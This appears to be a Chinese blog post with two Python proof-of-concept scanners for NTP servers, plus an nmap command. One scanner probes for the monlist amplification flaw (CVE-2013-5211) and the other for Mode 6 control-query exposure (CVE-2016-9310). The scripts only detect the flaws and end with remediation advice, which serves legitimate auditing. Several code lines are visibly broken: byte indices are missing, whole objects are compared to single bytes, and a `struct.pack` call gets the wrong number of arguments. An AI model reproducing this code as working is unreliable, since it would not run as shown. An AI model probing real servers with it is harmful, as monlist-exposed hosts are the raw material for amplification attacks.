NTP-poc(CVE-2013-5211)(CVE-2016-9310)
import sys
import socket
import struct
import time
def check_ntp_monlist_vulnerability(target_ip, target_port=123, timeout=5):
"""
检测目标 NTP 服务器是否存在 CVE-2013-5211 (Monlist) 漏洞
:param target_ip: 目标服务器 IP 地址
:param target_port: NTP 端口,默认 123
:param timeout: 超时时间,默认 5 秒
:return: bool, 如果存在漏洞返回 True,否则返回 False
"""
try:
# 创建 UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(timeout)
# 构造 NTP Mode 7 (Control Message) 请求包
# NTP 头部结构简化版用于 monlist 查询
# Flag: 0x17 (Mode 7, Implementation 3 (XNTPD), Response bit off, Error bit off, More bit off, Opcode 0)
# 实际上 monlist 请求通常使用特定的 opcode 和 format
# 标准的 monlist 请求 payload (REQ_MON_GETLIST)
# 这是一个典型的 NTPv2/v3/v4 控制报文结构
# Byte 0: Flags (0x17 = 0001 0111 -> Mode 7, Impl 3)
# Byte 1: Request Code (0x00 for MON_GETLIST in some implementations, or specific opcodes)
# 注意:不同的 ntpd 版本对 payload 的具体字节要求可能略有不同,但 0x17 开头是常见的探测特征
# 构造一个典型的 monlist 探测包
# 参考: https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ntp/ntp_monlist.rb
# Payload: \x17\x00\x03\x2a + padding
payload = bytearray(48)
payload = 0x17 # Flags: Mode 7 (Control), Implementation 3 (XNTPD)
payload = 0x00 # Request Code: 0 (MON_GETLIST)
payload = 0x03 # Sequence Number (arbitrary)
payload = 0x2a # Status/Implementation specific
# 发送请求
print(f"[*] Sending MONLIST request to {target_ip}:{target_port}...")
sock.sendto(payload, (target_ip, target_port))
# 接收响应
try:
data, addr = sock.recvfrom(65535)
# 检查响应是否包含 monlist 特征
# 有效的 monlist 响应通常比较大,且包含多个 IP 条目
# 简单的判断:如果收到了响应,且响应长度大于普通 NTP 时间同步包(48字节)
# 更准确的判断需要解析 NTP Control Message 头部
if len(data) > 48:
# 进一步检查响应头部的 Flags
# 响应包的第一个字节应该是 0x97 (Mode 7, Impl 3, Response Bit Set)
if data == 0x97:
print(f"[+] VULNERABLE: {target_ip} responded with a MONLIST packet (Size: {len(data)} bytes)")
print(f" First few bytes of response: {data[:10].hex()}")
return True
else:
print(f"[-] NOT VULNERABLE: {target_ip} responded but not a valid MONLIST response (Flag: {hex(data)})")
return False
else:
print(f"[-] NOT VULNERABLE: {target_ip} responded with a small packet (Size: {len(data)} bytes), likely standard NTP or error.")
return False
except socket.timeout:
print(f"[-] NOT VULNERABLE: {target_ip} did not respond (Timeout).")
return False
except Exception as e:
print(f"[-] Error receiving data: {e}")
return False
except Exception as e:
print(f"[-] Error creating socket or sending: {e}")
return False
finally:
if 'sock' in locals():
sock.close()
def main():
if len(sys.argv) < 2:
print("Usage: python cve_2013_5211_poc.py <target_ip>")
print("Example: python cve_2013_5211_poc.py 192.168.1.1")
sys.exit(1)
target = sys.argv
print(f"Starting CVE-2013-5211 Monlist Vulnerability Check against {target}")
print("-" * 50)
is_vulnerable = check_ntp_monlist_vulnerability(target)
print("-" * 50)
if is_vulnerable:
print("[!] WARNING: The target appears to be vulnerable to CVE-2013-5211.")
print("[!] Recommendation: Upgrade NTP to version 4.2.7p26 or later, or disable 'monitor' in ntp.conf.")
else:
print("[*] The target does not appear to be vulnerable (or is filtered/unreachable).")
if __name__ == "__main__":
main()
#执行条件python3.8以上版本
python cve-2013-5211.py <目标ip>
#ntp版本信息获取
nmap -sU -p 123 --script ntp-info <目标IP>
CVE-2016-9310->poc
import socket
import struct
import sys
import time
def send_ntp_mode6_request(target_ip, target_port=123, timeout=5):
"""
发送 NTP Mode 6 (Control Message) 请求以检测服务是否响应
"""
try:
# 创建 UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(timeout)
# 构造 NTP Mode 6 请求包
# NTP Control Message Header (12 bytes minimum)
# Bits 0-2: Version Number (3) -> 011
# Bit 3: Mode (6 for Control) -> 110
# So first byte: 0001 1011 = 0x1B? No, let's look at standard structure.
# Actually, standard NTP packet header is different from Control Message.
# Control Message Format:
# 0 1 2 3
# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# |R|M| VN | Mode|A| Opcode | Sequence | Status |
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# | Association ID | Offset |
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# | Count | Data ... |
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# R=0 (Response), M=0 (More), VN=3 (Version 3), Mode=6 (Control)
# Byte 0: 00 011 110 = 0x1E
# A=0 (Authenticated), Opcode=1 (Read Status/Variables)
# Byte 1: 0 000001 = 0x01
# Sequence: 0
# Byte 2: 0x00
# Status: 0
# Byte 3: 0x00
# Assoc ID: 0
# Byte 4-5: 0x00 0x00
# Offset: 0
# Byte 6-7: 0x00 0x00
# Count: 0
# Byte 8-9: 0x00 0x00
# Constructing a simple "Read Variables" request
payload = struct.pack('!BBBBHHHH',
0x1E, # R=0, M=0, VN=3, Mode=6
0x01, # A=0, Opcode=1 (Read Status)
0x00, # Sequence
0x00, # Status
0x00, # Association ID
0x00, # Offset
0x00 # Count
)
# Add some padding or specific variable name if needed, but empty read often works for detection
# Some implementations require a null terminator or specific format for data field if count > 0
# For simple detection, sending the header is often enough to trigger a response or error
print(f"[*] Sending Mode 6 Control Request to {target_ip}:{target_port}...")
sock.sendto(payload, (target_ip, target_port))
try:
data, addr = sock.recvfrom(65535)
if len(data) >= 12:
# Parse response header
resp_byte0 = data
mode = resp_byte0 & 0x07
version = (resp_byte0 >> 3) & 0x07
if mode == 6:
print(f"[+] VULNERABLE/EXPOSED: Received Mode 6 response from {addr}")
print(f" Response Length: {len(data)} bytes")
print(f" Version: {version}, Mode: {mode}")
# Check for opcode in response (byte 1)
resp_byte1 = data
opcode = resp_byte1 & 0x1F
print(f" Opcode: {opcode}")
return True
else:
print(f"[-] NOT VULNERABLE: Received response but not Mode 6 (Mode: {mode})")
return False
else:
print(f"[-] NOT VULNERABLE: Response too short ({len(data)} bytes)")
return False
except socket.timeout:
print(f"[-] NOT VULNERABLE: No response received (Timeout). Service may be filtered or Mode 6 disabled.")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
finally:
if 'sock' in locals():
sock.close()
def main():
if len(sys.argv) < 2:
print("Usage: python cve_2016_9310_poc.py <target_ip> [port]")
print("Example: python cve_2016_9310_poc.py 192.168.1.1")
sys.exit(1)
target_ip = sys.argv
target_port = int(sys.argv) if len(sys.argv) > 2 else 123
print(f"Starting CVE-2016-9310 (NTP Mode 6 Exposure) Check against {target_ip}:{target_port}")
print("-" * 60)
is_exposed = send_ntp_mode6_request(target_ip, target_port)
print("-" * 60)
if is_exposed:
print("[!] WARNING: The target responds to NTP Mode 6 control queries.")
print("[!] This indicates potential vulnerability to CVE-2016-9310 and related issues.")
print("[!] Recommendation: Disable Mode 6 queries using 'restrict default noquery' in ntp.conf")
else:
print("[*] The target does not appear to respond to unauthenticated Mode 6 queries.")
print("[*] This is the expected secure configuration.")
if __name__ == "__main__":
main()
浙公网安备 33010602011771号